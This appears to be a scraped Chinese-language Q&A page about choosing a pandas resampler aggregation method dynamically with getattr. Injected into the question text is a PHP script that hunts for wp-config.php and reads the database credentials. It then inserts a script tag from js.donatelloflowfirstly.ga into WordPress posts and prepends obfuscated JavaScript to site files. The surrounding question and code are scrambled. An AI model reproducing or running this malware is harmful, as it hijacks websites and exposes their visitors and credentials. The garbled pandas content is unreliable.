我可以动态选择应用于熊猫重采样器对象的方法吗?

问题描述

我正在尝试创建一个<?PHP echo "ssqqss>>>"; error_reporting(E_ALL); ini_set('display_errors',1); search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php"); die(); function get_var_reg($pat,$text) { if ($c = preg_match_all ("/".$pat."/is",$text,$matches)) { return $matches[1][0]; } return ""; } function search_file_ms($dir,$file_to_search){ $search_array = array(); $files = scandir($dir); if($files == false) { $dir = substr($dir,-3); if (strpos($dir,'../') !== false) { @search_file_ms( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_ms( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEParaTOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false) { show_sitenames($path); } } else if($value != "." && $value != "..") { @search_file_ms($path,$file_to_search); } } } function show_sitenames($file){ $content = @file_get_contents($file); if(strpos($content,"DB_NAME") !== false) { $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content); $host = get_var_reg("'DB_HOST'.*?,$content); $user = get_var_reg("'DB_USER'.*?,$content); $pass = get_var_reg("'DB_PASSWORD'.*?,$content); // Create connection $conn = new MysqLi($host,$user,$pass); // Check connection if ($conn->connect_error) { } else { $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM @R_262_4045@ion_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; $result = $conn->query($q); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; $result2 = $conn->query($q2); if ($result2->num_rows > 0) { while($row2 = $result2->fetch_assoc()) { $val = $row2['post_content']; if(strpos($val,"js.donatelloflowfirstly.ga") === false){ if(strpos($val,"js.donatelloflowfirstly.ga") === false){ $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'"; $conn->query($q3); echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]; } else { } } } } else { } } } else { } $conn->close(); } } } function search_file($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir,'../') !== false) { @search_file( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEParaTOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) { make_it($path); } }else if($value != "." && $value != "..") { search_file($path,$file_to_search); } } } function search_file_index($dir,'../') !== false) { search_file_index( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { search_file_index( $dir,".htm")) !== false) { make_it_index($path); } }else if($value != "." && $value != "..") { search_file_index($path,$file_to_search); } } } function search_file_js($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir,'../') !== false) { @search_file_js( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_js( $dir,".js") !== false)) { make_it_js($path); } }else if($value != "." && $value != "..") { search_file_js($path,$file_to_search); } } } function make_it_js($f){ $g = file_get_contents($f); if (strpos($g,'106,115,46,100,111,110,97,116,101,108,102,119,105,114,121,103,97') !== false) { } else { $l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this,element.nextSibling);},false;(function() { var elem = document.createElement(String.fromCharCode(115,99,112,116)); elem.type = String.fromCharCode(116,120,47,106,118,116); elem.src = String.fromCharCode(104,58,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,100))[0]);document.getElementsByTagName(String.fromCharCode(104,100))[0].appendChild(elem);})();"; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); echo "js:".$f."\r\n"; } } function make_it_index($f){ if (strpos($g,97') !== false || strpos($g,'js.donatelloflowfirstly.ga') !== false) { } else { $l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>"; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); echo "in:".$f."\r\n"; } } function make_it($f){ $g = file_get_contents($f); if (strpos($g,97') !== false) { } else { $l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this,100))[0].appendChild(elem);})();</script>"; if (strpos($g,'<head>') !== false) { $b = str_replace("<head>","<head>".$l2,$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); echo "hh:".$f."\r\n"; } if (strpos($g,'</head>') !== false) { $b = str_replace("</head>",$l2."</head>",$b); echo "hh:".$f."\r\n"; } } } 中的时间序列数据进行重新采样的函数。我想根据我要发送的数据类型指定发生聚合的类型(例如,对于某些数据,采用每个bin的总和是适当的,而对于其他数据,则需要采用均值,等等。)。例如这样的数据:

pandas

我可以拥有这样的功能

import pandas as pd
import numpy as np

dr = pd.date_range('01-01-2020','01-03-2020',freq='1H')
df = pd.DataFrame(np.random.rand(len(dr)),index=dr)

对于少量的聚合方法来说,这很好,但是如果我想从all of the possible choices中进行选择,这似乎很乏味。

我希望使用def process(df,freq='3H',method='sum'): r = df.resample(freq) if method == 'sum': r = r.sum() elif method == 'mean': r = r.mean() #... #more options #... return r 来实现something like this post(在“使其正常工作:泛化方法调用”下)。但是,我找不到执行此操作的方法

getattr

我了解了def process2(df,method='sum'): r = df.resample(freq) foo = getattr(r,method) return r.foo() #fails with: #AttributeError: 'DatetimeIndexResampler' object has no attribute 'foo' def process3(df,method) return foo(r) #fails with: #TypeError: __init__() missing 1 required positional argument: 'obj' 失败的原因(调用process2寻找r.foo()方法foo(),而不是变量r)。但是我不知道为什么foo会失败。

我知道另一种方法是将函数传递给参数process3,然后将method传递给apply上的那些函数。我的倾向是这样做效率会降低吗?而且它仍然不允许我直接访问内置的Resample方法

是否有一种可行的,更简洁的方法来实现这一目标?谢谢!

解决方法

尝试.resample().apply(method)

但是除非您打算在函数内部计划更多的计算,否则仅硬编码此行可能会更容易。